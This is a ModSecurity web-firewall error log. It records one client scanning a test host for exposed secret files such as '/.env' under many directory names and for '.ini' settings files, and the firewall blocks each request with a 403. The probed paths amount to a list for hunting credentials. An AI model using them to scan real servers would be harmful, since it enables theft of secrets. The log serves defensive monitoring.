[Fri Mar 13 10:38:59.230970 2026] [:error] [pid 2664179] [client 185.177.72.49:7598] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/service/.env"] [unique_id "abPbMw_F2ofVADhybSyNQgAAAAU"]
[Fri Mar 13 10:38:59.253843 2026] [:error] [pid 2664179] [client 185.177.72.49:7598] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /services/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/services/.env"] [unique_id "abPbMw_F2ofVADhybSyNQwAAAAU"]
[Fri Mar 13 10:38:59.254121 2026] [:error] [pid 2664179] [client 185.177.72.49:7598] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/services/.env"] [unique_id "abPbMw_F2ofVADhybSyNQwAAAAU"]
[Fri Mar 13 10:38:59.254319 2026] [:error] [pid 2664179] [client 185.177.72.49:7598] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/services/.env"] [unique_id "abPbMw_F2ofVADhybSyNQwAAAAU"]
[Fri Mar 13 10:38:59.276696 2026] [:error] [pid 2664179] [client 185.177.72.49:7598] [client 185.177.72.49] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".ini"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/services/environments.ini"] [unique_id "abPbMw_F2ofVADhybSyNRAAAAAU"]
[Fri Mar 13 10:38:59.277230 2026] [:error] [pid 2664179] [client 185.177.72.49:7598] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/services/environments.ini"] [unique_id "abPbMw_F2ofVADhybSyNRAAAAAU"]
[Fri Mar 13 10:38:59.277429 2026] [:error] [pid 2664179] [client 185.177.72.49:7598] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/services/environments.ini"] [unique_id "abPbMw_F2ofVADhybSyNRAAAAAU"]
[Fri Mar 13 10:38:59.300764 2026] [:error] [pid 2664179] [client 185.177.72.49:7598] [client 185.177.72.49] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".ini"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/settings.ini"] [unique_id "abPbMw_F2ofVADhybSyNRQAAAAU"]
[Fri Mar 13 10:38:59.301270 2026] [:error] [pid 2664179] [client 185.177.72.49:7598] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/settings.ini"] [unique_id "abPbMw_F2ofVADhybSyNRQAAAAU"]
[Fri Mar 13 10:38:59.301491 2026] [:error] [pid 2664179] [client 185.177.72.49:7598] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/settings.ini"] [unique_id "abPbMw_F2ofVADhybSyNRQAAAAU"]
[Fri Mar 13 10:38:59.394026 2026] [:error] [pid 2664179] [client 185.177.72.49:7598] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /shared/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/shared/.env"] [unique_id "abPbMw_F2ofVADhybSyNSQAAAAU"]
[Fri Mar 13 10:38:59.394222 2026] [:error] [pid 2664179] [client 185.177.72.49:7598] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/shared/.env"] [unique_id "abPbMw_F2ofVADhybSyNSQAAAAU"]
[Fri Mar 13 10:38:59.394372 2026] [:error] [pid 2664179] [client 185.177.72.49:7598] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/shared/.env"] [unique_id "abPbMw_F2ofVADhybSyNSQAAAAU"]
[Fri Mar 13 10:38:59.416584 2026] [:error] [pid 2664179] [client 185.177.72.49:7598] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /shop/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/shop/.env"] [unique_id "abPbMw_F2ofVADhybSyNSgAAAAU"]
[Fri Mar 13 10:38:59.416751 2026] [:error] [pid 2664179] [client 185.177.72.49:7598] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/shop/.env"] [unique_id "abPbMw_F2ofVADhybSyNSgAAAAU"]
[Fri Mar 13 10:38:59.416870 2026] [:error] [pid 2664179] [client 185.177.72.49:7598] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/shop/.env"] [unique_id "abPbMw_F2ofVADhybSyNSgAAAAU"]
[Fri Mar 13 10:38:59.439604 2026] [:error] [pid 2664179] [client 185.177.72.49:7598] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /src/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/src/.env"] [unique_id "abPbMw_F2ofVADhybSyNSwAAAAU"]
[Fri Mar 13 10:38:59.439783 2026] [:error] [pid 2664179] [client 185.177.72.49:7598] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/src/.env"] [unique_id "abPbMw_F2ofVADhybSyNSwAAAAU"]
[Fri Mar 13 10:38:59.439906 2026] [:error] [pid 2664179] [client 185.177.72.49:7598] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/src/.env"] [unique_id "abPbMw_F2ofVADhybSyNSwAAAAU"]
[Fri Mar 13 10:38:59.677036 2026] [:error] [pid 2664179] [client 185.177.72.49:7598] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /stage/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/stage/.env"] [unique_id "abPbMw_F2ofVADhybSyNVQAAAAU"]
[Fri Mar 13 10:38:59.677315 2026] [:error] [pid 2664179] [client 185.177.72.49:7598] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/stage/.env"] [unique_id "abPbMw_F2ofVADhybSyNVQAAAAU"]
[Fri Mar 13 10:38:59.677504 2026] [:error] [pid 2664179] [client 185.177.72.49:7598] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/stage/.env"] [unique_id "abPbMw_F2ofVADhybSyNVQAAAAU"]
[Fri Mar 13 10:38:59.700020 2026] [:error] [pid 2664179] [client 185.177.72.49:7598] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /staging/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/staging/.env"] [unique_id "abPbMw_F2ofVADhybSyNVgAAAAU"]
[Fri Mar 13 10:38:59.700240 2026] [:error] [pid 2664179] [client 185.177.72.49:7598] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/staging/.env"] [unique_id "abPbMw_F2ofVADhybSyNVgAAAAU"]
[Fri Mar 13 10:38:59.700418 2026] [:error] [pid 2664179] [client 185.177.72.49:7598] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/staging/.env"] [unique_id "abPbMw_F2ofVADhybSyNVgAAAAU"]
[Fri Mar 13 10:38:59.816657 2026] [:error] [pid 2664179] [client 185.177.72.49:7598] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /stg/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/stg/.env"] [unique_id "abPbMw_F2ofVADhybSyNWwAAAAU"]
[Fri Mar 13 10:38:59.816926 2026] [:error] [pid 2664179] [client 185.177.72.49:7598] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/stg/.env"] [unique_id "abPbMw_F2ofVADhybSyNWwAAAAU"]
[Fri Mar 13 10:38:59.817117 2026] [:error] [pid 2664179] [client 185.177.72.49:7598] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/stg/.env"] [unique_id "abPbMw_F2ofVADhybSyNWwAAAAU"]
[Fri Mar 13 10:38:59.886748 2026] [:error] [pid 2664179] [client 185.177.72.49:7598] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /test/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/test/.env"] [unique_id "abPbMw_F2ofVADhybSyNXgAAAAU"]
[Fri Mar 13 10:38:59.886943 2026] [:error] [pid 2664179] [client 185.177.72.49:7598] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/test/.env"] [unique_id "abPbMw_F2ofVADhybSyNXgAAAAU"]
[Fri Mar 13 10:38:59.887082 2026] [:error] [pid 2664179] [client 185.177.72.49:7598] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/test/.env"] [unique_id "abPbMw_F2ofVADhybSyNXgAAAAU"]
[Fri Mar 13 10:38:59.910006 2026] [:error] [pid 2664179] [client 185.177.72.49:7598] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /user/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/user/.env"] [unique_id "abPbMw_F2ofVADhybSyNXwAAAAU"]
[Fri Mar 13 10:38:59.910268 2026] [:error] [pid 2664179] [client 185.177.72.49:7598] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/user/.env"] [unique_id "abPbMw_F2ofVADhybSyNXwAAAAU"]
[Fri Mar 13 10:38:59.910486 2026] [:error] [pid 2664179] [client 185.177.72.49:7598] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/user/.env"] [unique_id "abPbMw_F2ofVADhybSyNXwAAAAU"]
[Fri Mar 13 10:38:59.932852 2026] [:error] [pid 2664179] [client 185.177.72.49:7598] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /v1/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/v1/.env"] [unique_id "abPbMw_F2ofVADhybSyNYAAAAAU"]
[Fri Mar 13 10:38:59.933073 2026] [:error] [pid 2664179] [client 185.177.72.49:7598] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/v1/.env"] [unique_id "abPbMw_F2ofVADhybSyNYAAAAAU"]
[Fri Mar 13 10:38:59.933233 2026] [:error] [pid 2664179] [client 185.177.72.49:7598] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/v1/.env"] [unique_id "abPbMw_F2ofVADhybSyNYAAAAAU"]
[Fri Mar 13 10:38:59.955962 2026] [:error] [pid 2664179] [client 185.177.72.49:7598] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /v2/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/v2/.env"] [unique_id "abPbMw_F2ofVADhybSyNYQAAAAU"]
[Fri Mar 13 10:38:59.956173 2026] [:error] [pid 2664179] [client 185.177.72.49:7598] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/v2/.env"] [unique_id "abPbMw_F2ofVADhybSyNYQAAAAU"]
